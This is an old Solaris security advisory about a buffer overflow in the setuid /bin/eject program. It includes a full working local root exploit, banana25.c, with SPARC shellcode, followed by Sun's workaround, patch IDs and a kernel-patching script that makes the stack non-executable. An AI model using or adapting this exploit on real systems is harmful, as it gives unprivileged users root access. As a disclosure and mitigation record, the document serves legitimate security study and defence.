COMMAND

    /bin/eject

SYSTEMS AFFECTED

    SunOS versions 5.3,  5.4, 5.5, 5.5_x86,  5.5.1, and 5.5.1_x86  are
    vulnerable.

PROBLEM

    Cristian SCHIPOR exploited the buffer overflow hole in  /bin/eject
    on Solaris 2.5 (who have suid exec bit and is owned by root).  The
    buffer  overflow   problem  appears   in  an   internal   function
    media_find().  The result is: any user can gain root shell.

    Cristian  wrote  an  exploit  for  2.5.   argv[1]  can  change the
    STACK_OFFSET value (for troubleshotings +-  8 .. +-64 .. the  step
    is 8).   The interesting  thing about  this exploit  it worked  on
    some machines where it was installed some stuff to make  inofensiv
    buffer overflows exploits ...

    ------------------------- banana25.c -----------------------------
	/* Wrote for Solaris 2.5.1 */

	#include <stdio.h>
	#include <stdlib.h>
	#include <sys/types.h>
	#include <unistd.h>

	#define BUF_LENGTH 364
	#define EXTRA 400
	#define STACK_OFFSET 400
	#define SPARC_NOP 0xa61cc013

	u_char sparc_shellcode[] =

	"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
	"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
	"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
	"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
	"\x91\xd0\x20\x08"
	;

	u_long get_sp(void)
	{
	__asm__("mov %sp,%i0 \n");
	}

	void main(int argc, char *argv[])
	{
	char buf[BUF_LENGTH + EXTRA + 8];
	long targ_addr;
	u_long *long_p;
	u_char *char_p;
	int i, code_length = strlen(sparc_shellcode),dso=0;

	if(argc > 1) dso=atoi(argv[1]);

	long_p =(u_long *) buf ;
	targ_addr = get_sp() - STACK_OFFSET - dso;
	for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
	*long_p++ = SPARC_NOP;

	char_p = (u_char *) long_p;

	for (i = 0; i < code_length; i++)
	*char_p++ = sparc_shellcode[i];

	long_p = (u_long *) char_p;

	for (i = 0; i < EXTRA / sizeof(u_long); i++)
	*long_p++ =targ_addr;

	printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
	targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
	execl("/bin/eject", "eject", & buf[1],(char *) 0);
	perror("execl failed");
	}
    ----------------------- end of banana25.c ------------------------

SOLUTION

    Sun  recommends,  as  a  workaround,  that  setuid  permission  be
    removed from  the eject  and fdformat  programs by  using commands
    such as the following:

        chmod 555 /usr/bin/eject

    The same vulnerabilities have  been fixed in the  upcoming release
    of Solaris  2.6.   The vulnerabilities  relating to  eject in  the
    volume management library are fixed by the following patches:

        OS version              Patch ID
        ----------              --------
        SunOS 5.5.1             104776-01
        SunOS 5.5.1_x86         104777-01
        SunOS 5.5               103024-02
        SunOS 5.5_x86           103044-02
        SunOS 5.4               101907-14
        SunOS 5.4_x86           101908-14
        SunOS 5.3               101331-07

    To prevent /bin/eject exploit, you  have to get out suid-exec  bit
    from /bin/eject (that's very simple) and compile a little  program
    like:

	main()
	{execl("/bin/eject","eject","floppy",(char *)0);}

    That  allows  your  work  station  ordinary  users to eject floppy
    (thats the main task for eject).

    Jonathan Sturges said  following: "I was  just testing this  on my
    Solaris  2.5  (SPARC)  boxes.   And,  it  appears  that  if you're
    running Volume Management  (vold), that eject  doesn't need to  be
    set-UID anyway. Here's what I did:

	*  chmod 555 /usr/bin/eject (hard-linked to /bin/eject).  This
	   immediately protects you from the exploits.

	*  If volume management is running (/usr/ucb/ps -auxww |  grep
	   vold), you can still eject BOTH CD's and floppies.

	*  If volume management  is NOT running, you CANNOT  eject the
	   CD (device permissions are 640), but you CAN still eject  a
	   floppy (perms are 666).

    These permissions seem  to be the  default permissions on  Solaris
    SPARC 2.5 and 2.5.1.

    Running the  exploits, under  and eject  #1, will  only pop  you a
    shell as yourself, of course, once /usr/bin/eject has perms. 555.

    But for thsoe srunnign SPARCs (non-sun4/sun4c) there's always:

#!/bin/sh
#
# Protect SPARC stack against unwanted exec access
# Side effect: growth in data segment also loses exec bit.
# This may break some programs.
#
# Install as:
#       /etc/init.d/protect_stack
#       ln /etc/init.d/protect_stack /etc/rc2.d/S07protect_stack
#
# And all programs except init are protected after the next reboot.
#
# After installing the scripts, first test with:
#
#       /etc/init.d/protect_stack start
#
#    Then start a new shell and test changes with /usr/proc/bin/pmap.
#
#       csh -fi
#       % pmap $$
#       ......
#       00047000   56K read/write               - instead of rwx
#       0004D000   32K     [ heap ]
#       ......
#       EFFFC000    8K read/write               - instead of rwx
#       EFFFC000   16K     [ stack ]
#       EFFFE000    8K read/write
#
#
# Seems to work on 2.4/2.5/2.5.1 but this may vary by patchlevel.
# Not all Sun MMUs support this, but it seems to haev effect on sun4m and
# sun4u, probably won't have an effect on sun4c.
#
# The assembly checking may need tweaking depending on OS level and
# patchlevel.
#
# Casper Dik (Casper.Dik@Holland.Sun.COM)
#
# The contents of this file  are intended to  be read as
# an example.  This  is not  a  supported product of Sun
# Microsystems  and  no hotline calls  will  be accepted
# which directly relate to this information.
#
# NO LIABILITY WILL BE  ACCEPTED BY SUN MICROSYSTEMS FOR
# ANY LOSS (DIRECT OR CONSEQUENTIAL) INCURRED IN ANY WAY
# BY ANY PARTY THROUGH THE USE OF THIS INFORMATION.
#
# NO WARRANTY  OF  ANY SORT  IS IMPLIED OR GIVEN FOR ANY
# CODE DERIVED FROM THIS INFORMATION.

PATH=/usr/bin:$PATH

#
#
# Set/get values using adb.
#
getvalue ()
{
    echo $1/$2 | adb -k /dev/ksyms /dev/mem | awk  "\"$1:\""' == $1 {print $2}'
}
setvalue ()
{
    echo $1/$2$3 | adb -wk /dev/ksyms /dev/mem >/dev/null 2>&1
}

#
# Check whether setting/unsetting is not dangerous.
#

check ()
{
    map=`getvalue $mapaddr X`
    zfod=`getvalue $zfodaddr x`
    if [ "$map" = "$oldmap" -a "$zfod" = "$oldzfod" ]
    then
        old=true;
    else
        old=false
    fi
    if [ "$map" = "$newmap" -a "$zfod" = "$newzfod" ]
    then
        new=true
    else
        new=false
    fi
}


p=`basename $0`
zfodaddr=zfod_segvn_crargs+0xd
case "`uname -p`" in
sparc)

        #
        # Instruction should at $mapaddr should be: mov 0xf,%reg or mov 0xb,%reg
        # this is a synthetic instruction that encodes as or %g0,0xf,$reg
        # 10rr rrr0 0001 0000 0010 0000 0000 1x11
        #
        # Try and find it at several locations.  Addresses must be specified
        # the way adb prints them.
        #
        for mapaddr in map_hunk+8 map_hunk+0xc
        do
            mapval=`getvalue $mapaddr X`
            case $mapval in
            [9ab][02468ace]10200[bf])
                reg=`expr $mapval : '\(..\)'`
                break;;
            esac
        done
        if [ -z "$reg" ]
        then
            echo "${p}: Instruction doesn't match" 1>&2
            exit 1
        fi

        echo "${p}: Instruction prefix set to $reg ($mapval@$mapaddr)"

        oldmap=${reg}10200f
        newmap=${reg}10200b
        oldzfod=f0f
        newzfod=b0f

;;
i386)
        # Try and find it at several locations.  Addresses must be specified
        # the way adb prints them.
        #
        for mapaddr in map_hunk+0x19
        do
            mapval=`getvalue $mapaddr X`
            case $mapval in
            [bf]f545c6)
                reg=true
                break;;
            esac
        done
        if [ -z "$reg" ]
        then
            echo "${p}: Instruction doesn't match" 1>&2
            exit
        fi
        oldmap=ff545c6
        newmap=bf545c6
        oldzfod=f0f
        newzfod=f0b

;;
*)
        echo "Unknown kernel arch"
        exit 1
;;
esac

case "$1" in
start)
    check
    if $new
    then
        echo "${p}: Stack already protected" 1>&2
        exit 0
    fi
    if $old
    then
        setvalue $mapaddr W $newmap
        setvalue $zfodaddr w $newzfod
        echo "${p}: Stack protected"
    else
        echo "${p}: Kernel value mismatch $map != $oldmap or $zfod != $oldzfod" 1>&2
        exit 1
    fi
    ;;
stop)
    check
    if $old
    then
        echo "${p}: Stack already unprotected" 1>&2
        exit 0
    fi
    if $new
    then
        setvalue $mapaddr W $oldmap
        setvalue $zfodaddr w $oldzfod
        echo "${p}: Stack no longer protected"
    else
        echo "${p}: Kernel value mismatch $map != $newmap or $zfod != $newzfod" 1>&2
        exit 1
    fi
    ;;
*)
    echo "Usage: ${p} [start|stop]" 1>&2
    exit 1;;
esac